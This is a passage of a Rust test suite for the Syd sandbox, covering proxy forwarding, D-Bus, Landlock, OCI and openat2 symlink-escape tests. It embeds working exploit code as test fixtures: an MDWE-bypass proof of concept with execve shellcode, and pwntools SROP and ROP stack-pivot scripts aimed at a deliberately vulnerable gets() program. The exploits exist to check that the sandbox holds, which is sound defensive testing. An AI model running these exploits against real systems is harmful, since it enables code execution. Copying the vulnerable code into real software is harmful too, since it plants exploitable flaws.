echo >&2 "[*] Spawning socat to listen on UNIX-LISTEN:$SYD_TEST_TOR_UNIX in the background."
set -x
{syd_pds} socat -u -d -d \
UNIX-LISTEN:$SYD_TEST_TOR_UNIX,mode=600,fork \
OPEN:msg,wronly,append,lock 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!9050<->$SYD_TEST_TOR_UNIX across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
-msandbox/net:on \
-m'allow/net/bind+!unnamed' \
-m'allow/net/connect+::1!9050' \
-msandbox/proxy:on -m proxy/addr:::1 \
-m"proxy/ext/unix:$SYD_TEST_TOR_UNIX" \
-- sh -e <<'EOF'
set +x
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
echo "$data" | socat -u - TCP6:[::1]:9050,forever &
n=`expr $n + 1`
test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
done < chk
while test `sed -n '$=' msg` -lt "$n"; do :; done
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
EOF
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
"##
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// D-Bus file descriptor passing test (mimics Vala dbus/filedescriptor.test).
fn test_syd_dbus_fd() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "dbus-run-session", "dbus-daemon", "pkg-config");
// Compile C server and client.
if !build_dbus_fd() {
eprintln!("Failed to build dbus-fd code, skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(()); // Skip test.
}
// 1. Run server under syd with dbus-run-session providing a
// temporary session bus. The server spawns the client
// internally.
// 2. Avoid setting AT_SECURE to avoid the error:
// uncaught error: Cannot spawn a message bus when AT_SECURE is set.
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/net/bind,net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_fifo:1")
.m("trace/allow_unsafe_exec_libc:1")
.argv(["dbus-run-session", "--", "./dbus_fd_server"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// D-Bus file descriptor error handling test (mimics Vala dbus/filedescriptor-errors.test).
fn test_syd_dbus_fd_errors() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "dbus-run-session", "dbus-daemon", "pkg-config");
// Compile C server and client.
if !build_dbus_fd_errors() {
eprintln!("Failed to build dbus-fd-errors code, skipping test!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
return Ok(());
}
// 1. Run server under syd with dbus-run-session providing a
// temporary session bus. The server spawns the client
// internally.
// 2. Avoid setting AT_SECURE to avoid the error:
// uncaught error: Cannot spawn a message bus when AT_SECURE is set.
// 3. Permit securityfs reads so dbus-daemon can probe AppArmor.
let status = syd()
.p("fs")
.p("tty")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("allow/fs+securityfs")
.m("allow/net/bind,net/sendfd+!unnamed")
.m("trace/allow_unsafe_sendfd_fifo:1")
.m("trace/allow_unsafe_exec_libc:1")
.argv(["dbus-run-session", "--", "./dbus_fd_errors_server"])
.status()
.expect("execute syd");
assert_status_aborted!(status);
Ok(())
}
fn test_syd_lock_errata() -> TestResult {
skip_unless_available!("awk", "sh", "strace");
skip_unless_strace_can_inject!();
let syd_lock = &SYD_LOCK.to_string();
let status = Command::new("sh")
.arg("-c")
.arg(format!(
r##"
set -eu
SYD_LOCK={syd_lock}
# Deterministic masks.
# Stick to 32-bit-safe values to avoid negative/errno confusion.
BIT_A=0x8
BIT_B=0x20
BIT_C=0x10
BOTH_AB=0x28
ALL_BITS=0x7fffffff
# Helpers
run() {{
DESC=$1
INJECT=$2
shift 2
printf '=== %s ===\n' "$DESC"
set +e
OUT=$(strace -qq \
-e trace=landlock_create_ruleset \
-e "inject=landlock_create_ruleset:${{INJECT}}" \
-- "$SYD_LOCK" "$@")
RC=$?
set -e
printf '%s\n' "$OUT"
printf '(rc=%s)\n' "$RC"
}}
expect_rc() {{
EXP=$1
if [ "$RC" -ne "$EXP" ]; then
printf 'FAIL: expected rc=%s, got %s\n' "$EXP" "$RC" >&2
exit 1
fi
printf 'OK: rc=%s\n' "$EXP"
}}
# 1. -E list prints something and exits 0.
run "list prints and rc=0" "retval=$BIT_A" -E list
[ -n "$OUT" ] || {{ echo "FAIL: -E list produced no output" >&2; exit 1; }}
expect_rc 0
# Extract a real *name* (not hex) to exercise name-based queries, if present.
FIRST_NAME=$(printf '%s\n' "$OUT" | awk '/^[A-Za-z_][A-Za-z0-9_]*$/ {{print; exit}}')
# 2. Single numeric: none available
run "single numeric none -> rc=2" "retval=0x0" -E "$BIT_A"
expect_rc 2
# 3. Single numeric: available
run "single numeric available -> rc=0" "retval=$BIT_A" -E "$BIT_A"
expect_rc 0
# 4. Multiple numeric: partial
run "multiple numeric partial -> rc=1" "retval=$BIT_A" -E "${{BIT_A}},${{BIT_B}}"
expect_rc 1
# 5. Multiple numeric: all available
run "multiple numeric all -> rc=0" "retval=$BOTH_AB" -E "${{BIT_A}},${{BIT_B}}"
expect_rc 0
# 6. Multiple numeric: none available
run "multiple numeric none -> rc=2" "retval=$BIT_A" -E "${{BIT_B}},${{BIT_C}}"
expect_rc 2
# 7. Unknown/undefined numeric accepted
run "undefined numeric accepted -> rc=0" "retval=0x40000000" -E 0x40000000
expect_rc 0
# 8. Name query: available, if we parsed a name
if [ -n "${{FIRST_NAME:-}}" ]; then
run "name single available -> rc=0" "retval=$ALL_BITS" -E "$FIRST_NAME"
expect_rc 0
else
echo "SKIP: no parseable name from -E list output"
fi
# 9. Name query: none, if we parsed a name
if [ -n "${{FIRST_NAME:-}}" ]; then
run "name single none -> rc=2" "retval=0x0" -E "$FIRST_NAME"
expect_rc 2
else
echo "SKIP: no parseable name from -E list output"
fi
# 10. Syscall error path (ENOSYS) treated as none
run "syscall error ENOSYS -> rc=2" "error=ENOSYS" -E "${{BIT_A}},${{BIT_B}}"
expect_rc 2
# 11. -E list exits 0 irrespective of injected retval
run "list rc=0 regardless of retval" "retval=42" -E list
expect_rc 0
echo "All -E errata integration tests passed."
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_api_version_major() -> TestResult {
skip_unless_available!("jq", "podman", "which");
let mut syd_oci = SYD_OCI.to_string();
if !syd_oci.starts_with('/') {
syd_oci = which(&syd_oci)?;
}
let syd_oci = format!(
"podman run --rm --runtime {syd_oci} alpine:latest cat /dev/syd | jq -r .api.version.major"
);
let output = Command::new("sh")
.env("SYD_OCI_NO_CONFIG", "YesPlease")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.arg("-cex")
.arg(syd_oci)
.output()
.expect("execute sh");
assert_status_ok!(output.status);
let mut major = output.stdout;
major.pop(); // trim newline.
let major = btoi::btoi::<u8>(&major).or(Err(Errno::EINVAL))?;
assert_eq!(major, syd::config::API_VERSION.major());
Ok(())
}
// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_api_version_minor() -> TestResult {
skip_unless_available!("jq", "podman");
let mut syd_oci = SYD_OCI.to_string();
if !syd_oci.starts_with('/') {
syd_oci = which(&syd_oci)?;
}
let syd_oci = format!(
"podman run --rm --runtime {syd_oci} alpine:latest cat /dev/syd | jq -r .api.version.minor"
);
let output = Command::new("sh")
.env("SYD_OCI_NO_CONFIG", "YesPlease")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.arg("-cex")
.arg(syd_oci)
.output()
.expect("execute sh");
assert_status_ok!(output.status);
let mut minor = output.stdout;
minor.pop(); // trim newline.
let minor = btoi::btoi::<u8>(&minor).or(Err(Errno::EINVAL))?;
assert_eq!(minor, syd::config::API_VERSION.minor());
Ok(())
}
// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_api_version_version() -> TestResult {
skip_unless_available!("jq", "podman");
let mut syd_oci = SYD_OCI.to_string();
if !syd_oci.starts_with('/') {
syd_oci = which(&syd_oci)?;
}
let syd_oci = format!(
"podman run --rm --runtime {syd_oci} alpine:latest cat /dev/syd | jq -r .api.version.version"
);
let output = Command::new("sh")
.env("SYD_OCI_NO_CONFIG", "YesPlease")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.arg("-cex")
.arg(syd_oci)
.output()
.expect("execute sh");
assert_status_ok!(output.status);
let mut version = output.stdout;
version.pop(); // trim newline.
assert_eq!(String::from_utf8_lossy(&version), API_VERSION.to_string());
Ok(())
}
// TODO: Investigate podman errors on CI:
// https://builds.sr.ht/~alip/job/1644856
#[cfg(all(feature = "oci", not(target_env = "musl")))]
fn test_syd_oci_syslog_init() -> TestResult {
skip_unless_available!("jq", "podman", "sed");
let mut syd_oci = SYD_OCI.to_string();
if !syd_oci.starts_with('/') {
syd_oci = which(&syd_oci)?;
}
let syd_oci = format!(
"podman run --rm --runtime {syd_oci} alpine:latest dmesg | head -n1 | sed 's/^[^{{]*//' | jq -r .chapter"
);
let output = Command::new("sh")
.env("SYD_OCI_NO_CONFIG", "YesPlease")
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.arg("-cex")
.arg(syd_oci)
.output()
.expect("execute sh");
assert_status_ok!(output.status);
let mut chapter = output.stdout;
chapter.pop(); // trim newline.
let chapter = btoi::btoi::<u8>(&chapter).or(Err(Errno::EINVAL))?;
assert_eq!(chapter, 24);
Ok(())
}
fn key_gen_test() -> Result<KeySerial, Errno> {
let key = Key::random()?;
add_key(
"user",
"SYD-3-CRYPT-TEST",
key.as_ref(),
KEY_SPEC_USER_KEYRING,
)
}
/*
* Construct a test directory with the following structure:
*
* root/
* |-- procexe -> /proc/self/exe
* |-- procroot -> /proc/self/root
* |-- root/
* |-- mnt/ [mountpoint]
* | |-- self -> ../mnt/
* | `-- absself -> /mnt/
* |-- etc/
* | `-- passwd
* |-- creatlink -> /newfile3
* |-- reletc -> etc/
* |-- relsym -> etc/passwd
* |-- absetc -> /etc/
* |-- abssym -> /etc/passwd
* |-- abscheeky -> /cheeky
* `-- cheeky/
* |-- absself -> /
* |-- self -> ../../root/
* |-- garbageself -> /../../root/
* |-- passwd -> ../cheeky/../cheeky/../etc/../etc/passwd
* |-- abspasswd -> /../cheeky/../cheeky/../etc/../etc/passwd
* |-- dotdotlink -> ../../../../../../../../../../../../../../etc/passwd
* `-- garbagelink -> /../../../../../../../../../../../../../../etc/passwd
*/
/// Enters a user and mount namespace,
/// and sets up the openat2 test directory structure.
fn setup_openat2_test() -> SydResult<OwnedFd> {
// Get current user/group.
let uid = getuid();
let gid = getgid();
// Unshare the mount namespace.
unshare(CloneFlags::CLONE_NEWUSER | CloneFlags::CLONE_NEWNS)?;
// Map current user/group into userns,
// or else e.g. mkdirat() will return EOVERFLOW.
proc_map_user(proc_open(None)?, uid, gid, false /*map_root*/)?;
// Make /tmp a private tmpfs.
// Do not use sticky, group/world writable bits to avoid triggering restrict_symlinks.
mount(
Some("tmpfs"),
"/tmp",
Some("tmpfs"),
MsFlags::MS_NODEV | MsFlags::MS_NOEXEC | MsFlags::MS_NOSUID,
Some("mode=0700"),
)?;
// Create a temporary directory.
let tmpdir = "/tmp/openat2";
mkdir(tmpdir, Mode::S_IRWXU)?;
// Open the top-level directory.
let dfd = open(tmpdir, OFlag::O_PATH | OFlag::O_DIRECTORY, Mode::empty())?;
// Create the 'root' sub-directory.
mkdirat(&dfd, "root", Mode::S_IRWXU)?;
let tmpfd = openat(
dfd,
"root",
OFlag::O_PATH | OFlag::O_DIRECTORY,
Mode::empty(),
)?;
let dfd = tmpfd;
// Create symbolic links and directories as per the structure.
symlinkat("/proc/self/exe", &dfd, "procexe")?;
symlinkat("/proc/self/root", &dfd, "procroot")?;
mkdirat(&dfd, "root", Mode::S_IRWXU)?;
// Create 'mnt' directory and mount tmpfs.
// Do not use sticky, group/world writable bits to avoid triggering restrict_symlinks.
mkdirat(&dfd, "mnt", Mode::S_IRWXU)?;
fchdir(&dfd)?;
mount(
Some("tmpfs"),
"./mnt",
Some("tmpfs"),
MsFlags::MS_NODEV | MsFlags::MS_NOEXEC | MsFlags::MS_NOSUID,
Some("mode=0700"),
)?;
symlinkat("../mnt/", &dfd, "mnt/self")?;
symlinkat("/mnt/", &dfd, "mnt/absself")?;
mkdirat(&dfd, "etc", Mode::S_IRWXU)?;
let _ = close(openat(
&dfd,
"etc/passwd",
OFlag::O_CREAT | OFlag::O_EXCL,
Mode::from_bits_truncate(0o600),
)?);
symlinkat("/newfile3", &dfd, "creatlink")?;
symlinkat("etc/", &dfd, "reletc")?;
symlinkat("etc/passwd", &dfd, "relsym")?;
symlinkat("/etc/", &dfd, "absetc")?;
symlinkat("/etc/passwd", &dfd, "abssym")?;
symlinkat("/cheeky", &dfd, "abscheeky")?;
mkdirat(&dfd, "cheeky", Mode::S_IRWXU)?;
symlinkat("/", &dfd, "cheeky/absself")?;
symlinkat("../../root/", &dfd, "cheeky/self")?;
symlinkat("/../../root/", &dfd, "cheeky/garbageself")?;
symlinkat(
"../cheeky/../cheeky/../etc/../etc/passwd",
&dfd,
"cheeky/passwd",
)?;
symlinkat(
"/../cheeky/../cheeky/../etc/../etc/passwd",
&dfd,
"cheeky/abspasswd",
)?;
symlinkat(
"../../../../../../../../../../../../../../etc/passwd",
&dfd,
"cheeky/dotdotlink",
)?;
symlinkat(
"/../../../../../../../../../../../../../../etc/passwd",
&dfd,
"cheeky/garbagelink",
)?;
// Unset close-on-exec, we'll pass this fd to syd-test-do.
set_cloexec(&dfd, false)?;
Ok(dfd)
}
// See dev/mdwe_bypass_poc.c.
const MDWE_BYPASS_CODE: &str = r##"
// poc_mdwe_bypass_x86_64.c
//
// Proof-of-Concept: MDWE bypass via file-backed RX mapping on Linux x86_64
// Author: Ali Polatel <alip@chesswob.org>
#define _GNU_SOURCE
#include <sys/prctl.h>
#include <linux/prctl.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
#ifdef __x86_64__
static unsigned char shellcode[] = {
/* xor rax, rax */
0x48, 0x31, 0xc0,
/* movabs rbx, 0x0068732f6e69622f ; "/bin/sh\0" */
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00,
/* push rbx */
0x53,
/* mov rdi, rsp */
0x48, 0x89, 0xe7,
/* xor rsi, rsi */
0x48, 0x31, 0xf6,
/* push rsi ; argv[1] = NULL */
0x56,
/* push rdi ; argv[0] = "/bin/sh" */
0x57,
/* mov rsi, rsp ; rsi = &argv */
0x48, 0x89, 0xe6,
/* lea rdx, [rsi+8] ; rdx = &envp (NULL) */
0x48, 0x8d, 0x56, 0x08,
/* mov al, 0x3b ; syscall execve */
0xb0, 0x3b,
/* syscall */
0x0f, 0x05
};
#else
#error "Unsupported architecture: only x86-64 is supported!"
#endif
int main(void)
{
const char *path = "./mmap";
/* Enable MDWE (unless Syd did it already). */
if (!getenv("SYD_TEST_SKIP_MDWE")
&& prctl(PR_SET_MDWE, PR_MDWE_REFUSE_EXEC_GAIN, 0, 0, 0) == -1) {
int save_errno = errno;
perror("prctl");
exit(save_errno);
}
int fd = open(path, O_RDWR);
if (fd < 0) {
int save_errno = errno;
perror("open");
exit(save_errno);
}
/* Map RX. */
size_t len = sizeof(shellcode);
void *addr = mmap(NULL, len, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) {
int save_errno = errno;
perror("mmap");
close(fd);
unlink(path);
exit(save_errno);
}
/* Overwrite backing file. */
if (lseek(fd, 0, SEEK_SET) < 0 ||
write(fd, shellcode, len) != (ssize_t)len) {
int save_errno = errno;
perror("write");
munmap(addr, len);
close(fd);
unlink(path);
exit(save_errno);
}
/* Close file:
* This will sync the contents to the RO-memory area,
* which breaks MDWE! */
close(fd);
/* Jump into RX mapping! */
((void (*)(void))addr)();
/* Cleanup (not reached if shell succeeds). */
munmap(addr, len);
unlink(path);
return EXIT_SUCCESS;
}
"##;
fn build_mprotect_exe() -> bool {
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > mprotect.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
int main() {
size_t ps = getpagesize();
void *mem = mmap(NULL, ps, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Set a simple return instruction depending on architecture.
#if defined(__x86_64__)
*(unsigned char *)mem = 0xC3; // ret
#elif defined(__i386__)
*(unsigned char *)mem = 0xC3; // ret
#elif defined(__aarch64__)
*(unsigned int *)mem = 0xD65F03C0; // ret
#elif defined(__arm__)
*(unsigned int *)mem = 0xE12FFF1E; // bx lr
#elif defined(__riscv) && __riscv_xlen == 64
*(unsigned int *)mem = 0x00008067; // ret (jr ra in riscv64)
#elif defined(__powerpc__) || defined(__ppc__) || defined(__PPC__)
*(unsigned int *)mem = 0x4e800020; // "blr" instruction for "branch to link register" (return)
#elif defined(__s390x__) || defined(__s390__)
*(unsigned short *)mem = 0x07FE; // "br %r15"
#elif defined(__loongarch64)
*(unsigned int *)mem = 0x4C000020; // jirl zero, ra, 0
#elif defined(__m68k__)
*(unsigned short *)mem = 0x4E75; // rts
#elif defined(__mips__)
((unsigned int *)mem)[0] = 0x03E00008; // jr ra
((unsigned int *)mem)[1] = 0x00000000; // nop
#elif defined(__sh__)
((unsigned short *)mem)[0] = 0x000B; // rts
((unsigned short *)mem)[1] = 0x0009; // nop
#else
#error "Unsupported architecture"
#endif
// Attempt to set the memory executable.
if (mprotect(mem, ps, PROT_READ | PROT_EXEC) != 0) {
perror("mprotect");
return EXIT_FAILURE;
}
#if defined(__GNUC__)
// Ensure I-cache sees the new instruction(s).
__builtin___clear_cache((char*)mem, (char*)mem + 32);
#endif
// Try executing the code in the memory.
//
// On ppc64 BE (ELFv1), function pointers are descriptors.
// Detect ELFv1 vs ELFv2 via _CALL_ELF (1 = ELFv1, 2 = ELFv2).
#if defined(__powerpc64__) && defined(_CALL_ELF) && (_CALL_ELF == 1)
struct func_desc { void *entry; void *toc; void *env; };
struct func_desc fd;
fd.entry = mem; // code address
fd.toc = NULL; // no TOC needed for this tiny stub
fd.env = NULL;
void (*func)(void) = (void (*)(void))&fd;
#else
void (*func)(void) = (void (*)(void))mem;
#endif
func();
return EXIT_SUCCESS;
}
EOF
cc -Wall -Wextra mprotect.c -o mprotect
"##,
)
.status()
.expect("execute sh");
if !status.success() {
eprintln!("Compilation of mprotect failed with status: {status}");
false
} else {
true
}
}
fn build_mdwe_bypass() -> bool {
// Write the C code to a temporary file.
match File::create("mdwe.c") {
Ok(mut file) => {
if let Err(e) = file.write_all(MDWE_BYPASS_CODE.as_bytes()) {
eprintln!("Failed to write to file mdwe.c: {e}");
return false;
}
}
Err(e) => {
eprintln!("Failed to create file mdwe.c: {e}");
return false;
}
}
// Compile the C code into a binary.
let status = Command::new("cc")
.args(["mdwe.c", "-o", "mdwe", "-Wall", "-Wextra"])
.stdin(Stdio::null())
.status();
match status {
Ok(status) => {
if !status.success() {
eprintln!("Compilation of mdwe failed with status: {status}");
false
} else {
true
}
}
Err(e) => {
eprintln!("Failed to execute mdwe compile command: {e}");
false
}
}
}
const SROP_CODE: &str = r##"
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple SROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0
import os, sys, subprocess, shutil, time
try:
from pwn import (
context,
ELF,
process,
log,
cyclic,
cyclic_find,
ROP,
SigreturnFrame,
p64,
constants,
)
except ImportError as e:
sys.stderr.write("[!] Pwntools is not installed. Exiting: %r\n" % e)
sys.exit(127)
else:
context.terminal = ["echo", "ENOTTY"]
TEMP_FILES = ["vuln_srop.c", "vuln_srop", "srop.bin", "srop.txt", "pwned_srop"]
def compile_vuln():
vuln_c_code = r"""
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
/*
* Symbol to /bin/sh for convenience.
*/
char *sh = "/bin/sh";
/*
* 1. We use argv so tests work under busybox.
* 2. We use a one-shot command to avoid stdin races.
*/
char *sh_argv[] = {
"/bin/sh",
"-cex",
"echo 'SROP: Change return success. "
"Going and coming without error. "
"Action brings good fortune.'; "
"sleep 1; "
"touch pwned; "
"exit 42",
NULL,
};
int overflow(void) {{
char buf[8];
gets(buf); /* Vulnerable to buffer overflow */
return 0;
}}
int main(void) {{
overflow();
if (getuid() + getpid() == 0) {{
#ifdef __x86_64__
__asm__ __volatile__ (
"pop %rdi; ret;"
"pop %rsi; ret;"
"pop %rdx; ret;"
"pop %rax; ret;"
);
#elif __i386__
__asm__ __volatile__ (
"pop %eax; ret;"
"int 0x80; ret;"
);
#else
#error unsupported architecture
#endif
execve("/bin/sh", 0, 0);
}}
return 0;
}}
"""
with open("vuln_srop.c", "w") as f:
f.write(vuln_c_code)
cc_cmd = "cc -ansi -pedantic -Wall -Wextra -g -O0 -fno-stack-protector -no-pie -static vuln_srop.c -o vuln_srop"
try:
subprocess.run(
cc_cmd,
shell=True,
check=True,
stderr=subprocess.PIPE,
stdout=subprocess.PIPE,
)
except subprocess.CalledProcessError as e:
sys.stderr.write(f"[!] Compilation failed: {e.stderr.decode()}\n")
sys.exit(127)
def generate_srop():
context.binary = "./vuln_srop"
elf = ELF("./vuln_srop")
if context.arch not in ("amd64", "i386"):
log.warn("This script only works on x86 or x86_64. Exiting.")
sys.exit(127)
# Ensure core dumps are unlimited.
log.info("Setting core dump size to unlimited.")
try:
subprocess.run(
["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
)
except subprocess.CalledProcessError:
log.warn("Failed to set core dump size to unlimited.")
log.warn("The next step may fail.")
# Generate a cyclic pattern and send it to the vulnerable program.
log.info("Generating cyclic pattern to find offset.")
pattern = cyclic(128)
p = process("./vuln_srop")
p.sendline(pattern)
p.wait()
# Extract the core dump.
core = p.corefile
arch = context.arch
if arch == "amd64" or arch == "i386":
stack_pointer = "rsp"
elif arch == "arm" or arch == "aarch64":
stack_pointer = "sp"
else:
log.warn(f"Unsupported architecture: {arch}")
sys.exit(127)
offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
log.info(f"Offset is {offset}.")
log.info(f"Removing coredump file '{core.path}'")
try:
os.remove(core.path)
except:
log.warn(f"Failed to remove coredump file '{core.path}'")
# Clear ROP cache.
try:
ROP.clear_cache()
except:
pass
# Find SROP gadgets
log.info("Finding SROP gadgets and locating '/bin/sh'")
rop = ROP(elf)
# Find /bin/sh string
bin_sh = next(elf.search(b"/bin/sh"))
log.info("Located '/bin/sh' at %#x." % bin_sh)
# Find arguments array
sh_argv = elf.symbols.get("sh_argv")
log.info("Located 'sh_argv' at %#x." % sh_argv)
if context.arch == "amd64":
# Find gadgets needed to trigger a sigreturn
pop_rax = rop.find_gadget(["pop rax", "ret"])[0]
syscall_ret = rop.find_gadget(["syscall", "ret"])[0]
# Prepare a SigreturnFrame.
frame = SigreturnFrame(kernel=context.arch)
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = sh_argv
frame.rdx = 0
frame.rip = syscall_ret
payload = b"A" * offset
payload += p64(pop_rax)
payload += p64(15) # rt_sigreturn for x86_64.
payload += p64(syscall_ret) # trigger sigreturn.
payload += bytes(frame)
#
# elif context.arch == "i386":
# # i386
# int80_ret = rop.find_gadget(["int 0x80", "ret"])[0]
# pop_eax = rop.find_gadget(["pop eax", "ret"])[0]
# bin_sh = (
# next(elf.search(b"/bin/sh\x00")) if b"/bin/sh\x00" in elf.read() else None
# )
# if not bin_sh:
# bin_sh = next(elf.search(b"/"))
# frame = SigreturnFrame(kernel="i386")
# frame.eax = constants.SYS_execve
# frame.ebx = bin_sh
# frame.ecx = sh_argv
# frame.edx = 0
# frame.eip = int80_ret
# payload = b"A" * offset
# payload += p32(pop_eax)
# payload += p32(0x77) # sigreturn on i386
# payload += p32(int80_ret) # trigger sigreturn
# payload += bytes(frame)
log.info("SROP payload is %d bytes." % len(payload))
print(rop.dump(), file=sys.stderr)
with open("srop.txt", "w") as f:
print(rop.dump(), file=f)
log.info("ROP textual dump saved to 'srop.txt' for inspection.")
# Save the ROP details to a file.
with open("srop.bin", "wb") as f:
f.write(payload)
log.info("ROP payload saved to file 'srop.bin'")
log.info('Do "stack-pivot run" in the same directory to perform exploitation.')
def run_exploit(timeout="10"):
timeout=int(timeout)
with open("srop.bin", "rb") as f:
payload = f.read()
# Function to attempt exploit without using pwntools.
def attempt_exploit(timeout=10):
try:
p = subprocess.Popen(["./vuln_srop"], stdin=subprocess.PIPE)
log.info("Writing the SROP payload to vulnerable program's standard input.")
p.stdin.write(payload + b"\n")
log.info("Flushing vulnerable program's standard input.")
p.stdin.flush()
log.info("Closing vulnerable program's standard input.")
p.stdin.close()
log.info(f"Waiting for {timeout} seconds...")
p.wait(timeout=timeout)
except subprocess.TimeoutExpired:
log.warn("Timeout expired!")
return False
except Exception:
try: p.kill()
except: pass
return False
return p.returncode == 42 and os.path.exists("pwned")
# Attempt the exploit up to 10 times.
max_attempts = 10
for attempt in range(max_attempts):
log.info("Running the vulnerable program.")
log.info(f"Attempt {attempt + 1} of {max_attempts} with {timeout} seconds timeout.")
if attempt_exploit(timeout):
log.warn("Successfully smashed the stack using a SROP chain!")
sys.exit(42)
else:
log.info(f"Attempt {attempt + 1} failed.")
attempt += 1
log.info("All attempts failed.")
sys.exit(0)
def clean():
for temp_file in TEMP_FILES:
if os.path.exists(temp_file):
shutil.rmtree(temp_file)
def print_help():
print("Usage:")
print("srop init - prepare the binary and payload")
print("srop run - run the exploitation")
print("srop clean - clean up generated files")
print("srop help - this help")
def main():
if len(sys.argv) < 2:
print_help()
sys.exit(0)
elif sys.argv[1] == "init":
compile_vuln()
generate_srop()
elif sys.argv[1] == "run":
run_exploit(sys.argv[2] if len(sys.argv) > 2 else "10")
elif sys.argv[1] == "clean":
clean()
else:
print_help()
sys.exit(0)
if __name__ == "__main__":
main()
"##;
fn init_srop() -> bool {
// Write the python3 code to a temporary file.
match File::create("srop") {
Ok(mut file) => {
if let Err(e) = file.write_all(SROP_CODE.as_bytes()) {
eprintln!("Failed to write to file srop: {e}");
return false;
}
}
Err(e) => {
eprintln!("Failed to create file srop: {e}");
return false;
}
}
if let Err(e) = syd::fs::chmod_x("./srop") {
eprintln!("Failed to set srop executable: {e}");
return false;
}
// Prepare attack unsandboxed.
let status = Command::new("python3")
.arg("./srop")
.arg("init")
.stdin(Stdio::null())
.status();
match status {
Ok(status) => {
if !status.success() {
eprintln!("Preparation of SROP attack failed with status: {status}");
false
} else {
true
}
}
Err(e) => {
eprintln!("Failed to execute SROP command: {e}");
false
}
}
}
const STACK_PIVOT_CODE: &str = r##"
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple ROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0
import os, sys, subprocess, shutil, time
# Check if pwntools is installed.
try:
from pwn import context, ELF, process, log, cyclic, cyclic_find, ROP
except ImportError as e:
sys.stderr.write("[!] Pwntools is not installed. Exiting: %r\n" % e)
sys.exit(127)
else:
context.terminal = ["echo", "ENOTTY"]
if context.arch not in ("amd64", "i386"):
log.warn("This script only works on X86 ATM. Exiting.")
sys.exit(127)
# Constants
BUF_SIZE = 8
TEMP_FILES = ["vuln.c", "vuln", "rop.bin", "rop.txt", "pwned"]
def compile_vuln():
# C code for the vulnerable program.
vuln_c_code = """
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
/*
* Symbol to /bin/sh for convenience.
*/
char *sh = "/bin/sh";
/*
* 1. We use argv so tests work under busybox.
* 2. We use a one-shot command to avoid stdin races.
*/
char *sh_argv[] = {
"/bin/sh",
"-cex",
"echo 'ROP: Change return success. "
"Going and coming without error. "
"Action brings good fortune.'; "
"sleep 1; "
"touch pwned; "
"exit 42",
NULL,
};
int overflow(void) {{
char buf[8];
gets(buf); /* Vulnerable to buffer overflow */
return 0;
}}
int main(void) {{
overflow();
if (getuid() + getpid() == 0) {{
#ifdef __x86_64__
__asm__ __volatile__ (
"pop %rdi; ret;"
"pop %rsi; ret;"
"pop %rdx; ret;"
"pop %rax; ret;"
);
#endif
execve("/bin/sh", 0, 0);
}}
return 0;
}}
"""
# Write the C code to a file.
log.info("Writing C code to vuln.c")
with open("vuln.c", "w") as f:
f.write(vuln_c_code)
# Compile the vulnerable program.
cc_cmd = ("cc -ansi -pedantic "
"-g -O0 -Wall "
"-fno-stack-protector -no-pie "
"-static vuln.c -o vuln "
"-Wl,-no-pie",
"-Wl,-z,now -Wl,-z,relro "
"-Wl,--whole-archive "
"-lc -lpthread -lrt -ldl -lm "
"-Wl,--no-whole-archive")
log.info("Compiling the vulnerable program.")
log.info(f"{cc_cmd}")
try:
result = subprocess.run(
cc_cmd,
shell=True,
check=True,
